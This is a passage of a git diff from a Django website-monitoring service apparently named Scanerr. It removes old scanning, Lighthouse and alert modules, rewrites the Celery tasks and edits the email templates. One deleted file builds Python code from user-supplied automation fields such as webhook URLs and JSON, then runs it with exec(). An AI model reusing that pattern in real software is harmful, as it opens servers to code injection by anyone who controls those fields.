'logs' in e['data_type']: - data_type = 'Error Logs:\t'+str(len(item.logs))+'\n\t' - elif 'health' in e['data_type']: - data_type = 'Health:\t'+str(item.scores["average"])+'\n\t' - exp_list.append(data_type) - - exp_str = ('\t'+''.join(exp_list)) - - object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id)) - subject = f'Alert for {site.site_url}' - title = f'Alert for {site.site_url}' - pre_header = f'Alert for {site.site_url}' - pre_content = ( - f'Scanerr just finished running a {item_type} for {site.site_url}. ' - f'Below are the current stats:\n' - ) - content = ( - f'This message was triggered by an automation you created. ' - f'You can change the automation and schedule in your site\'s dashboard. ' - ) - subject = subject - context = { - 'title' : title, - 'pre_header' : pre_header, - 'pre_content' : pre_content, - 'exp_list': exp_list, - 'object_url' : object_url, - 'home_page' : os.environ.get('CLIENT_URL_ROOT'), - 'button_text' : 'View Site Dashboard', - 'content' : content, - 'signature' : '- Cheers!', - } - - html_message = render_to_string('api/automation_email.html', context) - plain_message = strip_tags(html_message) - send_mail( - from_email = os.getenv('EMAIL_HOST_USER'), - subject = subject, - message = plain_message, - recipient_list = [email], - html_message = html_message, - fail_silently = True, - ) - - data = { - 'success': True - } - - else: - data = { - 'success': False - } - - return data - - - - - - - - -def automation_webhook( - request_type=None, - request_url=None, - request_data=None, - automation_id=None, - scan_or_test_id=None, - ): - if request_type and automation_id and request_url and request_data and scan_or_test_id: - automation = Automation.objects.get(id=automation_id) - schedule = automation.schedule - site = schedule.site - - try: - item = Test.objects.get(id=uuid.UUID(scan_or_test_id)) - item_type = 'Test' - except: - try: - item = Scan.objects.get(id=uuid.UUID(scan_or_test_id)) - item_type = 'Scan' - except: - return {'success': False} - - json_data = json.loads(request_data) - get_list = ['?',] - - for key in json_data: - if 'test_score' == json_data[key]: - json_data[key] = item.score - elif 'current_average' == json_data[key]: - json_data[key] = item.scores_delta["current_average"] - elif 'seo_delta' == json_data[key]: - json_data[key] = item.scores_delta["seo_delta"] - elif 'best_practices_delta' == json_data[key]: - json_data[key] = item.scores_delta["best_practices_delta"] - elif 'performance_delta' == json_data[key]: - json_data[key] = item.scores_delta["performance_delta"] - elif 'logs' == json_data[key]: - json_data[key] = len(item.logs) - elif 'health' == json_data[key]: - json_data[key] = item.scores["average"] - - get_list.append(f'{key}={json_data[key]}&') - - get_params = ''.join(get_list) - - try: - if request_type == 'POST': - request = requests.post(request_url, data=json_data) - elif request_data == 'GET': - request = requests.get(request_url, params=json_data) - - except: - data = {'success': False} - - data = { - 'success': True - } - - else: - data = { - 'success': False - } - - return data - - - - - -def automation_phone(phone_number=None, automation_id=None, scan_or_test_id=None): - if phone_number and automation_id and scan_or_test_id: - automation = Automation.objects.get(id=automation_id) - schedule = automation.schedule - site = schedule.site - - try: - item = Test.objects.get(id=uuid.UUID(scan_or_test_id)) - item_type = 'Test' - except: - try: - item = Scan.objects.get(id=uuid.UUID(scan_or_test_id)) - item_type = 'Scan' - except: - return {'success': False} - - exp_list = [] - for e in automation.expressions: - if 'test_score' in e['data_type']: - data_type = 'Test Score:\t'+str(round(item.score, 2))+'\n\t' - elif 'current_average' in e['data_type']: - data_type = 'Health:\t'+str(item.scores_delta["current_average"])+'\n\t' - elif 'seo_delta' in e['data_type']: - data_type = 'SEO Delta:\t'+str(item.scores_delta["seo_delta"])+'\n\t' - elif 'best_practices_delta' in e['data_type']: - data_type = 'Best Practicies Delta:\t'+str(item.scores_delta["best_practices_delta"])+'\n\t' - elif 'performance_delta' in e['data_type']: - data_type = 'Performance Delta:\t'+str(item.scores_delta["performance_delta"])+'\n\t' - elif 'logs' in e['data_type']: - data_type = '# Error Logs:\t'+str(len(item.logs))+'\n\t' - elif 'health' in e['data_type']: - data_type = 'Health:\t'+str(item.scores["average"])+'\n\t' - exp_list.append(data_type) - - exp_str = ''.join(exp_list) - - object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id)) - pre_content = ( - f'Scanerr just finished running a {item_type} for {site.site_url}. ' - f'Below are the current stats:\n\n\t{exp_str}\n' - ) - content = ( - f'This message was triggered by an automation you created. ' - f'You can change the automation and schedule in your site\'s dashboard. ' - ) - - body = f'Hi there,\n\n{pre_content}{content}\n{object_url}' - - account_sid = os.environ.get("TWILIO_SID") - auth_token = os.environ.get("TWILIO_AUTH_TOKEN") - client = Client(account_sid, auth_token) - - message = client.messages.create( - to=phone_number, - from_=os.environ.get('TWILIO_NUMBER'), - body=body - ) - - data = { - 'success': True - } - - else: - data = { - 'success': False - } - - return data - - - - -def automation_slack(automation_id=None, scan_or_test_id=None): - if automation_id and scan_or_test_id: - automation = Automation.objects.get(id=automation_id) - account = Account.objects.get(user=automation.user) - schedule = automation.schedule - site = schedule.site - - try: - item = Test.objects.get(id=uuid.UUID(scan_or_test_id)) - item_type = 'Test' - except: - try: - item = Scan.objects.get(id=uuid.UUID(scan_or_test_id)) - item_type = 'Scan' - except: - return {'success': False} - - exp_list = [] - for e in automation.expressions: - if 'test_score' in e['data_type']: - data_type = 'Test Score:\t'+str(round(item.score, 2))+'\n\t' - elif 'current_average' in e['data_type']: - data_type = 'Health:\t'+str(item.scores_delta["current_average"])+'\n\t' - elif 'seo_delta' in e['data_type']: - data_type = 'SEO Delta:\t'+str(item.scores_delta["seo_delta"])+'\n\t' - elif 'best_practices_delta' in e['data_type']: - data_type = 'Best Practicies Delta:\t'+str(item.scores_delta["best_practices_delta"])+'\n\t' - elif 'performance_delta' in e['data_type']: - data_type = 'Performance Delta:\t'+str(item.scores_delta["performance_delta"])+'\n\t' - elif 'logs' in e['data_type']: - data_type = '# Error Logs:\t'+str(len(item.logs))+'\n\t' - elif 'health' in e['data_type']: - data_type = 'Health:\t'+str(item.scores["average"])+'\n\t' - exp_list.append(data_type) - - exp_str = ''.join(exp_list) - - object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id)) - pre_content = ( - f'Scanerr just finished running a {item_type} for {site.site_url}. ' - f'Below are the current stats:\n\n\t{exp_str}\n' - ) - content = ( - f'This message was triggered by an automation you created. ' - f'You can change the automation and schedule in your site\'s dashboard. ' - ) - - body = f'Hi there,\n\n{pre_content}{content}\n{object_url}' - - token = account.slack['bot_access_token'] - channel = account.slack['slack_channel_id'] - - client = WebClient(token=token) - try: - response = client.chat_postMessage( - channel=channel, - text=(body), - block=[ - { - "type": "section", - "text": { - "type": "mrkdwn", - "text": body, - - } - } - ] - ) - except SlackApiError as e: - assert e.response["error"] - - data = { - 'success': True - } - - else: - data = { - 'success': False - } - - return data \ No newline at end of file diff --git a/app/api/scan_tests/automations.py b/app/api/scan_tests/automations.py deleted file mode 100644 index 6ab60fde..00000000 --- a/app/api/scan_tests/automations.py +++ /dev/null @@ -1,110 +0,0 @@ -from ..models import ( - Automation, Test, Scan, Site, User, - ) -from .alerts import ( - automation_email, automation_webhook, - automation_phone, automation_slack, - ) -import re, uuid - - - - -def automation(automation_id, scan_or_test_id): - automation = Automation.objects.get(id=automation_id) - expressions = automation.expressions - exp_list = [] - actions = automation.actions - act_list = [] - - try: - scan = Scan.objects.get(id=scan_or_test_id) - except: - try: - test = Test.objects.get(id=scan_or_test_id) - except: - return False - - - for expression in expressions: - if '>=' in expression['operator']: - operator = ' >= ' - else: - operator = ' <= ' - - if 'and' in expression['joiner']: - joiner = ' and ' - elif 'or' in expression['joiner']: - joiner = ' or ' - else: - joiner = '' - - if 'test_score' in expression['data_type']: - data_type = 'float(test.score)' - elif 'current_average' in expression['data_type']: - data_type = 'float(test.scores_delta["current_average"])' - elif 'seo_delta' in expression['data_type']: - data_type = 'float(test.scores_delta["seo_delta"])' - elif 'best_practices_delta' in expression['data_type']: - data_type = 'float(test.scores_delta["best_practices_delta"])' - elif 'performance_delta' in expression['data_type']: - data_type = 'float(test.scores_delta["performance_delta"])' - elif 'logs' in expression['data_type']: - data_type = 'len(scan.logs)' - elif 'health' in expression['data_type']: - data_type = 'float(scan.scores["average"])' - - value = str(float(re.search(r'\d+', str(expression['value'])).group())) - exp = f'{joiner}{data_type}{operator}{value}' - exp_list.append(exp) - - - for action in actions: - - if 'slack' in action['action_type']: - action_type = f"\n print('sending slack alert')\ - \n automation_slack(automation_id='{str(automation.id)}', \ - scan_or_test_id='{str(scan_or_test_id)}')" - - if 'webhook' in action['action_type']: - action_type = f"\n print('sending webhook alert')\ - \n automation_webhook(request_type='{action['request']}', \ - request_url='{action['url']}', request_data='{action['json']}', \ - automation_id='{str(automation.id)}', \ - scan_or_test_id='{str(scan_or_test_id)}')" - - if 'email' in action['action_type']: - action_type = f"\n print('sending email alert')\ - \n automation_email(email='{action['email']}',\ - automation_id='{str(automation.id)}', \ - scan_or_test_id='{str(scan_or_test_id)}')" - - if 'phone' in action['action_type']: - action_type = f"\n print('sending phone alert')\ - \n automation_phone(phone_number='{action['phone']}', \ - automation_id='{str(automation.id)}', \ - scan_or_test_id='{str(scan_or_test_id)}')" - - act = f'{action_type}' - act_list.append(act) - - - exp_string = ' '.join(exp_list) - act_string = ''.join(act_list) - - automation_logic = f'if {exp_string}:{act_string}' - exec(automation_logic) - - return True - - - - - - - - - - - - \ No newline at end of file diff --git a/app/api/scan_tests/custom-config.js b/app/api/scan_tests/custom-config.js deleted file mode 100644 index ce50e2cb..00000000 --- a/app/api/scan_tests/custom-config.js +++ /dev/null @@ -1,11 +0,0 @@ -// custom configurations for Lighthouse CLI - -module.exports = { - extends: 'lighthouse:default', - settings: { - skipAudits: [ - "full-page-screenshot", - ], - }, - }; - diff --git a/app/api/scan_tests/driver_init.py b/app/api/scan_tests/driver_init.py deleted file mode 100644 index 7f2d38f3..00000000 --- a/app/api/scan_tests/driver_init.py +++ /dev/null @@ -1,35 +0,0 @@ -from selenium import webdriver -from selenium.webdriver.chrome.options import Options -import time, os - - - -def driver_init(): - - prefs = { - 'download.prompt_for_download': False, - 'download.extensions_to_open': '.zip', - 'safebrowsing.enabled': True - } - chrome_path = os.environ.get('CHROMEDRIVER') - WINDOW_SIZE = "1920,1080" - options = webdriver.ChromeOptions() - options.add_experimental_option('prefs',prefs) - options.add_argument("start-maximized") - options.add_argument("--headless") - options.add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) - options.add_argument('--no-sandbox') - options.add_argument('--disable-dev-shm-usage') - options.add_argument("--disable-extensions") - options.add_argument("--window-size=%s" % WINDOW_SIZE) - options.add_argument("--safebrowsing-disable-download-protection") - options.add_argument("safebrowsing-disable-extension-blacklist") - options.add_argument("--disable-gpu") - - driver = webdriver.Chrome(executable_path=chrome_path, options=options) - driver.set_page_load_timeout(20) - driver.set_script_timeout(20) - driver.implicitly_wait(20) - - - return driver \ No newline at end of file diff --git a/app/api/scan_tests/lighthouse.py b/app/api/scan_tests/lighthouse.py deleted file mode 100644 index 4a20400e..00000000 --- a/app/api/scan_tests/lighthouse.py +++ /dev/null @@ -1,107 +0,0 @@ -from io import StringIO -import os, fileinput, glob, subprocess, time, sys, json -from ..models import Site, Scan -from django.forms.models import model_to_dict - - - -class Lighthouse(): - - """Initialized Google's Lighthouse CLI and runs an audit of the site""" - - - def __init__(self, site=None): - self.site = site - - - def init_audit(self): - proc = subprocess.Popen([ - 'lighthouse', - '--config-path=api/scan_tests/custom-config.js', - '--quiet', - self.site.site_url, - '--chrome-flags="--no-sandbox --headless"', - '--output', - 'json', - ], - stdout=subprocess.PIPE, - ) - stdout_value = proc.communicate()[0] - return stdout_value - - - def get_data(self): - - try: - stdout_value = self.init_audit() - stdout_string = str(stdout_value) - - if len(stdout_string) != 0: - if 'Runtime error encountered' in stdout_string: - error = {'error': 'lighthouse ran into a problem',} - return error - - stdout_json = json.loads(stdout_value) - - # initial audits object - audits = { - "seo": [], - "accessibility": [], - "performance": [], - "best-practices": [], - } - - # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` list - for cat in audits: - cat_audits = stdout_json["categories"][cat]["auditRefs"] - for a in cat_audits: - if int(a["weight"]) > 0: - audit = stdout_json["audits"][a["id"]] - audits[cat].append(audit) - - - # get scores from each category - seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) - accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) - performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) - best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) - average_score = (seo_score + accessibility_score + performance_score + best_practices_score)/4 - - scores = { - "seo": str(seo_score), - "accessibility": str(accessibility_score), - "performance": str(performance_score), - "best_practices": str(best_practices_score), - "average": str(average_score), - } - - data = { - "scores": scores, - "audits": audits - } - - - except Exception as e: - print(e) - - scores = { - "seo": None, - "accessibility": None, - "performance": None, - "best_practices": None, - "average": None, - } - - audits = { - "seo": [], - "accessibility": [], - "performance": [], - "best_practices": [], - } - - data = { - "scores": scores, - "audits": audits - } - - return data diff --git a/app/api/scan_tests/scan_site.py b/app/api/scan_tests/scan_site.py deleted file mode 100644 index 24711f98..00000000 --- a/app/api/scan_tests/scan_site.py +++ /dev/null @@ -1,100 +0,0 @@ -from .driver_init import driver_init -from selenium import webdriver -from ..models import Site, Scan, Test -from selenium.webdriver.chrome.options import Options -from django.forms.models import model_to_dict -from django.core.serializers.json import DjangoJSONEncoder -from .lighthouse import Lighthouse -import time, os, sys, json - - - -class ScanSite(): - - def __init__(self, site=None, scan=None): - if site == None and scan != None: - site = scan.site - self.site = site - self.driver = driver_init() - self.scan = scan - - - def first_scan(self): - self.driver.get(self.site.site_url) - time.sleep(5) - html = self.driver.page_source - logs = self.driver.get_log('browser') - self.driver.quit() - lh_data = Lighthouse(self.site).get_data() - - - if self.scan: - self.scan.html = html - self.scan.logs = logs - self.scan.scores = lh_data["scores"] - self.scan.audits = lh_data["audits"] - self.scan.save() - first_scan = self.scan - else: - first_scan = Scan.objects.create( - site=self.site, html=html, - logs=logs, scores=lh_data["scores"], - audits=lh_data["audits"] - ) - - self.update_site_info(first_scan) - - return first_scan - - - def second_scan(self): - first_scan = Scan.objects.filter( - site=self.site - ).order_by('-time_created').first() - - self.driver.get(self.site.site_url) - time.sleep(5) - html = self.driver.page_source - logs = self.driver.get_log('browser') - self.driver.quit() - lh_data = Lighthouse(self.site).get_data() - - second_scan = Scan.objects.create( - site=self.site, paired_scan=first_scan, - html=html, logs=logs, scores=lh_data['scores'], - audits=lh_data['audits'] - ) - second_scan.save() - - first_scan.paried_scan = second_scan - first_scan.save() - - self.update_site_info(second_scan) - - return second_scan - - - - def update_site_info(self, scan): - if scan.scores['average'] == None: - health = 'No Data' - badge = 'neutral' - elif float(scan.scores['average']) >= 75: - health = 'Good' - badge = 'success' - elif 75 > float(scan.scores['average']) >= 60: - health = 'Okay' - badge = 'warning' - elif 60 > float(scan.scores['average']): - health = 'Poor' - badge = 'danger' - - self.site.info['latest_scan']['id'] = str(scan.id) - self.site.info['latest_scan']['time_created'] = str(scan.time_created) - self.site.info['lighthouse'] = scan.scores - self.site.info['status']['health'] = str(health) - self.site.info['status']['badge'] = str(badge) - - self.site.save() - - return self.site \ No newline at end of file diff --git a/app/api/scan_tests/tester.py b/app/api/scan_tests/tester.py deleted file mode 100644 index d0d45ebc..00000000 --- a/app/api/scan_tests/tester.py +++ /dev/null @@ -1,366 +0,0 @@ -from ..models import Site, Scan, Test -import time, os, sys, json, random, string, re -from difflib import SequenceMatcher, HtmlDiff -from datetime import datetime - - - -class Test(): - - def __init__(self, test): - self.test = test - self.pre_scan_html = [] - self.post_scan_html = [] - self.pre_scan_logs = [] - self.post_scan_logs = [] - self.delta_html_post = [] - self.delta_html_pre = [] - - - def clean_html(self): - pre_scan_html = self.test.pre_scan.html.splitlines() - post_scan_html = self.test.post_scan.html.splitlines() - - white_list = ['csrfmiddlewaretoken',] - tags = [ - '', '', new_line) - for sub in subStrings: - if sub not in tags: - self.pre_scan_html.append((sub+'>')) - - for line in post_scan_html: - for item in white_list: - if item in line: - post_scan_html.remove(line) - for line in post_scan_html: - new_line = line.replace('\t', '').replace('\\', '').replace('"\"', '') - subStrings = re.split('>', new_line) - for sub in subStrings: - if sub not in tags: - self.post_scan_html.append((sub+'>')) - - return - - - def clean_logs(self): - pre_scan_logs_json = self.test.pre_scan.logs - post_scan_logs_json = self.test.post_scan.logs - order = ("level", "source", "message") - - - for log in pre_scan_logs_json: - new_log = {} - for label in order: - for key in log: - if key == label: - new_log[label] = log.get(key) - self.pre_scan_logs.append(json.dumps(new_log)) - - - for log in post_scan_logs_json: - new_log = {} - for label in order: - for key in log: - if key == label: - new_log[label] = log.get(key) - self.post_scan_logs.append(json.dumps(new_log)) - - return - - - def compare_html(self): - self.clean_html() - pre_scan = self.pre_scan_html - post_scan = self.post_scan_html - html_raw_score = SequenceMatcher( - None, pre_scan, post_scan - ).ratio() - - return html_raw_score - - - def compare_logs(self): - self.clean_logs() - pre_scan = list(self.pre_scan_logs) - post_scan = list(self.post_scan_logs) - logs_raw_score = SequenceMatcher( - None, pre_scan, post_scan - ).ratio() - - return logs_raw_score - - - def delta_html(self): - num_html_delta = len(self.pre_scan_html) - len(self.post_scan_html) - num_html_ratio = len(self.pre_scan_html) / len(self.post_scan_html) - if num_html_ratio > 1: - num_html_ratio = len(self.post_scan_html) / len(self.pre_scan_html) - - for line in self.post_scan_html: - if line not in self.pre_scan_html: - self.delta_html_post.append(line) - - for line in self.pre_scan_html: - if line not in self.post_scan_html: - self.delta_html_pre.append(line) - - - pre_micro_delta = self.post_proc_html( - self.delta_html_pre, - self.delta_html_post - ) - - post_micro_delta = self.post_proc_html( - self.delta_html_post, - self.delta_html_pre - ) - - - data = { - "num_html_delta": num_html_delta, - "delta_html_post": self.delta_html_post, - "delta_html_pre": self.delta_html_pre, - "num_html_ratio": num_html_ratio, - "pre_micro_delta": pre_micro_delta, - "post_micro_delta": post_micro_delta, - } - - return data - - - def post_proc_html(self, primary_list, secondary_list): - delta_parsed = [] - delta_parsed_diff = [] - secondary_str = ''.join(str(i) for i in secondary_list) - - # breaking html elements into small 8 chars chunks - for line in primary_list: - subStrings = re.findall('.{1,8}', line) - for sub in subStrings: - delta_parsed.append(sub) - - # checking if small chunk is in other scan - for block in delta_parsed: - if block != None and block != '' and block not in secondary_str: - delta_parsed_diff.append(block) - - data = { - "delta_parsed": delta_parsed, - "delta_parsed_diff": delta_parsed_diff, - } - - return data - - - - - def html_micro_diff_score(self, post_delta_parsed_diff): - - pre_delta_parsed_diff = [] - for line in self.pre_scan_html: - subStrings = re.findall('.{1,8}', line) - for sub in subStrings: - pre_delta_parsed_diff.append(sub) - - diff_length = len(pre_delta_parsed_diff) - len(post_delta_parsed_diff) - diff_score = diff_length / len(pre_delta_parsed_diff) - - return diff_score - - - - - def post_proc_logs(self, log): - log = json.loads(log) - log["message"].replace("\"", "\'") - letters = string.digits - timestamp = ''.join(random.choice(letters) for i in range(13)) - log['timestamp'] = timestamp - - return log - - - - - def delta_logs(self): - num_logs_delta = len(self.pre_scan_logs) - len(self.post_scan_logs) - - if len(self.post_scan_logs) > 0: - num_logs_ratio = len(self.pre_scan_logs) / len(self.post_scan_logs) - if num_logs_ratio > 1: - num_logs_ratio = 1 - else: - num_logs_ratio = 1 - - delta_logs_post = [] - for log in self.post_scan_logs: - if log not in self.pre_scan_logs: - log = self.post_proc_logs(log) - delta_logs_post.append(log) - - - delta_logs_pre = [] - for log in self.pre_scan_logs: - if log not in self.post_scan_logs: - log = self.post_proc_logs(log) - delta_logs_pre.append(log) - - data = { - "num_logs_delta": num_logs_delta, - "delta_logs_post": delta_logs_post, - "delta_logs_pre": delta_logs_pre, - "num_logs_ratio": num_logs_ratio, - } - - return data - - - - def delta_scores(self): - try: - pre_seo = int(self.test.pre_scan.scores['seo']) - pre_accessibility = int(self.test.pre_scan.scores['accessibility']) - pre_performance = int(self.test.pre_scan.scores['performance']) - pre_best_practices = int(self.test.pre_scan.scores['best_practices']) - post_seo = int(self.test.post_scan.scores['seo']) - post_accessibility = int(self.test.post_scan.scores['accessibility']) - post_performance = int(self.test.post_scan.scores['performance']) - post_best_practices = int(self.test.post_scan.scores['best_practices']) - - seo_delta = post_seo - pre_seo - accessibility_delta = post_accessibility - pre_accessibility - performance_delta = post_performance - pre_performance - best_practices_delta = post_best_practices - pre_best_practices - current_average = (post_seo + post_accessibility + post_best_practices + post_performance)/4 - old_average = (pre_seo + pre_accessibility + pre_best_practices + pre_performance)/4 - average_diff = current_average - old_average - except: - seo_delta = None - accessibility_delta = None - performance_delta = None - best_practices_delta = None - current_average = None - average_diff = None - - data = { - "seo_delta": seo_delta, - "accessibility_delta": accessibility_delta, - "performance_delta": performance_delta, - "best_practices_delta": best_practices_delta, - "current_average": current_average, - "average_diff": average_diff, - } - - return data - - - - def update_site_info(self, test): - site = test.site - site.info['latest_test']['id'] = str(test.id) - site.info['latest_test']['time_created'] = str(test.time_created) - site.info['latest_test']['score'] = str(round(test.score)) - site.save() - - return site - - - - - def run_full_test(self): - html_score = self.compare_html() - logs_score = self.compare_logs() - delta_html_data = self.delta_html() - delta_logs_data = self.delta_logs() - delta_scores_data = self.delta_scores() - num_html_ratio = delta_html_data['num_html_ratio'] - num_logs_ratio = delta_logs_data['num_logs_ratio'] - delta_scores_avg_diff = delta_scores_data['average_diff'] - if delta_scores_avg_diff != None: - delta_scores = (100 + delta_scores_avg_diff)/100 - else: - delta_scores = 0 - micro_diff_score = self.html_micro_diff_score( - delta_html_data['post_micro_delta']['delta_parsed_diff'] - ) - html_score_w = 1 - logs_score_w = 1 - num_logs_w = 2 - num_html_w = 1 - micro_diff_w = 2 - - if delta_scores_avg_diff > 0 or delta_scores_avg_diff == None: - delta_scores_w = 0 - else: - delta_scores_w = 1 - - total_w = ( - html_score_w + logs_score_w + num_html_w - + num_logs_w + delta_scores_w + micro_diff_w - ) - - - score = (( - (html_score * html_score_w) + - (logs_score * logs_score_w) + - (num_logs_ratio * num_logs_w) + - (num_html_ratio * num_html_w) + - (delta_scores * delta_scores_w) + - (micro_diff_score * micro_diff_w) - ) / total_w) * 100 - - print( - "Formula was --> ((" + str(html_score*html_score_w) + " + " - + str(logs_score*logs_score_w) + " + " + str(num_logs_ratio*num_logs_w) + " + " - + str(num_html_ratio*num_html_w) + " + " + str(delta_scores*delta_scores_w) + - " + " + str(micro_diff_score*micro_diff_w) + ") / " + str(total_w) + ") * 100 ===> " + str(score) - ) - - html_delta_context = { - "pre_html_delta": delta_html_data['delta_html_pre'], - "post_html_delta": delta_html_data['delta_html_post'], - "pre_micro_delta": delta_html_data['pre_micro_delta'], - "post_micro_delta": delta_html_data['post_micro_delta'], - } - - logs_delta_context = { - "pre_logs_delta": delta_logs_data['delta_logs_pre'], - "post_logs_delta": delta_logs_data['delta_logs_post'], - } - - self.test.time_completed = datetime.now() - self.test.html_delta = html_delta_context - self.test.logs_delta = logs_delta_context - self.test.score = score - self.test.scores_delta = delta_scores_data - self.test.save() - - self.update_site_info(self.test) - - return self.test - - - - - - - diff --git a/app/api/tasks.py b/app/api/tasks.py index 190833f5..d242b559 100644 --- a/app/api/tasks.py +++ b/app/api/tasks.py @@ -1,39 +1,204 @@ from __future__ import absolute_import, unicode_literals +from typing import Any from celery.utils.log import get_task_logger from celery import shared_task -from .v1.ops.tasks import (create_site_task, - create_scan_task, create_test_task +from celery import Task as BaseTask +from .v1.ops.tasks import ( + create_site_task, create_scan_task, run_html_and_logs_task, + run_vrt_task, run_lighthouse_task, run_yellowlab_task, + create_test_task, create_report_task, delete_report_s3, + delete_site_s3, create_testcase_task, migrate_site_task, + delete_testcase_s3, + ) from .models import Log from django.contrib.auth.models import User +from .utils.driver_p import driver_test +from asgiref.sync import async_to_sync +import asyncio + logger = get_task_logger(__name__) + + +@shared_task +def test_pupeteer(): + asyncio.run(driver_test()) + logger.info('Tested pupeteer instalation') + + @shared_task -def create_site_bg(site_id): - create_site_task(site_id) +def create_site_bg(site_id=None, scan_id=None, configs=None, *args, **kwargs): + create_site_task(site_id, scan_id, configs) logger.info('Created scan of new site') @shared_task -def create_scan_bg(site_id, automation_id=None): - create_scan_task(site_id, automation_id) +def create_scan_bg( + scan_id=None, + site_id=None, + type=['full'], + automation_id=None, + configs=None, + tags=None, + *args, + **kwargs, + ): + create_scan_task( + scan_id, + site_id, + type, + automation_id, + configs, + tags, + ) logger.info('Created new scan of site') + + +@shared_task +def run_html_and_logs_bg(scan_id=None, *args, **kwargs): + run_html_and_logs_task(scan_id) + logger.info('ran html & logs component') + + +@shared_task +def run_vrt_bg(scan_id=None, *args, **kwargs): + run_vrt_task(scan_id) + logger.info('ran vrt component') + + +@shared_task +def run_lighthouse_bg(scan_id=None, *args, **kwargs): + run_lighthouse_task(scan_id) + logger.info('ran lighthouse component') + + +@shared_task +def run_yellowlab_bg(scan_id=None, *args, **kwargs): + run_yellowlab_task(scan_id) + logger.info('ran yellowlab component') + + + + @shared_task -def create_test_bg(site_id, automation_id=None): - create_test_task(site_id, automation_id) +def create_test_bg( + test_id=None, + site_id=None, + automation_id=None, + configs=None, + type=['full'], + index=None, + pre_scan=None, + post_scan=None, + tags=None, + *args, + **kwargs, + ): + create_test_task( + test_id, + site_id, + automation_id, + configs, + type, + index, + pre_scan, + post_scan, + tags + ) logger.info('Created new test of site') +@shared_task +def create_report_bg(site_id=None, automation_id=None, *args, **kwargs): + create_report_task(site_id, automation_id) + logger.info('Created new report of site') + + +@shared_task +def delete_site_s3_bg(site_id, *args, **kwargs): + delete_site_s3(site_id) + logger.info('Deleted site s3 objects') + @shared_task -def purge_logs(username=None): +def delete_testcase_s3_bg(testcase_id, *args, **kwargs): + delete_testcase_s3(testcase_id) + logger.info('Deleted testcase s3 objects') + + +@shared_task +def delete_report_s3_bg(report_id, *args, **kwargs): + delete_report_s3(report_id) + logger.info('Deleted Report pdf in s3') + + +@shared_task +def purge_logs(username=None, *args, **kwargs): if username: - user = User.objcets.get(username=username) + user = User.objects.get(username=username) Log.objects.filter(user=user).delete() else: Log.objects.all().delete() - logger.info('Purged logs') \ No newline at end of file + logger.info('Purged logs') + + +@shared_task +def create_testcase_bg( + testcase_id=None, + site_id=None, + case_id=None, + updates=None, + automation_id=None, + configs=None, + type=None, + *args, + **kwargs, + ): + create_testcase_task(testcase_id, site_id, case_id, updates, configs, automation_id) + logger.info('Ran full testcase') + + + + +@shared_task +def migrate_site_bg( + login_url, + admin_url, + username, + password, + email_address, + destination_url, + sftp_address, + dbname, + sftp_username, + sftp_password, + plugin_name, + wait_time, + process_id, + driver, + *args, + **kwargs + ): + migrate_site_task( + login_url, + admin_url, + username, + password, + email_address, + destination_url, + sftp_address, + dbname, + sftp_username, + sftp_password, + plugin_name, + wait_time, + process_id, + driver, + ) + + logger.info('Finished Migration') \ No newline at end of file diff --git a/app/api/templates/api/alert_no_button.html b/app/api/templates/api/alert_no_button.html new file mode 100644 index 00000000..20e8260e --- /dev/null +++ b/app/api/templates/api/alert_no_button.html @@ -0,0 +1,159 @@ + + + + + + {{ title }} + + + + + + + + + + +
  +
+ + + + + + + + + + +
+ + + + +
+

Hi there,

+

{{ pre_content }}

+ + + + + + +
+
+

{{ content }}

+

{{ signature }}

+
+
+ + +
+ + + + + + + +
+ Scanerr, San Antonio TX +
+ Powered by Scanerr. +
+
+ + + +
+ 		 
+ + \ No newline at end of file diff --git a/app/api/templates/api/reset_password_email.html b/app/api/templates/api/alert_with_button.html similarity index 98% rename from app/api/templates/api/reset_password_email.html rename to app/api/templates/api/alert_with_button.html index 146d1070..13c30107 100644 --- a/app/api/templates/api/reset_password_email.html +++ b/app/api/templates/api/alert_with_button.html @@ -144,7 +144,7 @@ diff --git a/app/api/templates/api/automation_email.html b/app/api/templates/api/automation_email.html index ca05930d..6ba3c45f 100644 --- a/app/api/templates/api/automation_email.html +++ b/app/api/templates/api/automation_email.html @@ -1,4 +1,3 @@ -{% load markdownify %} @@ -113,7 +112,7 @@
- Scanerr Inc, 123 Tech Road, San Francisco CA + Scanerr, San Antonio TX

Hi there,

-

{{ pre_content|markdownify }}

+

{{ pre_content }}


    {% for exp in exp_list %} @@ -137,7 +136,7 @@
-

{{ content|markdownify }}

+

{{ content }}

{{ signature }}

@@ -153,7 +152,7 @@ diff --git a/app/api/scan_tests/__init__.py b/app/api/utils/__init__.py similarity index 100% rename from app/api/scan_tests/__init__.py rename to app/api/utils/__init__.py diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py new file mode 100644 index 00000000..fb4f68df --- /dev/null +++ b/app/api/utils/alerts.py @@ -0,0 +1,656 @@ +from django.core.mail import send_mail, send_mass_mail +from django.contrib.auth.models import User +from django.template.loader import render_to_string +from datetime import date +import os, operator, json, requests, uuid +from django.utils.html import strip_tags +from django.contrib.auth.models import User +from rest_framework.response import Response +from ..models import * +from twilio.rest import Client +from slack_sdk.web import WebClient +from slack_sdk.errors import SlackApiError +from sendgrid import SendGridAPIClient +from sendgrid.helpers.mail import Mail, From, To +from scanerr import settings + + + + + +def create_exp_str(item, automation, is_email=False): + + exp_list = [] + + for e in automation.expressions: + if 'test_score' in e['data_type']: + data_type = 'Test Score:\t'+str(round(item.score, 2))+'\n\t' + elif 'current_health' in e['data_type']: + data_type = 'Health:\t'+str((float(item.lighthouse_delta["scores"]["current_average"]) + float(item.yellowlab_delta["scores"]["current_average"])/2))+'\n\t' + elif 'health' in e['data_type']: + data_type = 'Health:\t'+str((float(item.lighthouse["scores"]["average"]) + float(item.yellowlab["scores"]["globalScore"])/2))+'\n\t' + # LH test data + elif 'current_lighthouse_average' in e['data_type']: + data_type = 'Lighthouse Average:\t'+str(item.lighthouse_delta["scores"]["current_average"])+'\n\t' + elif 'seo_delta' in e['data_type']: + data_type = 'SEO Delta:\t'+str(item.lighthouse_delta["scores"]["seo_delta"])+'\n\t' + elif 'pwa_delta' in e['data_type']: + data_type = 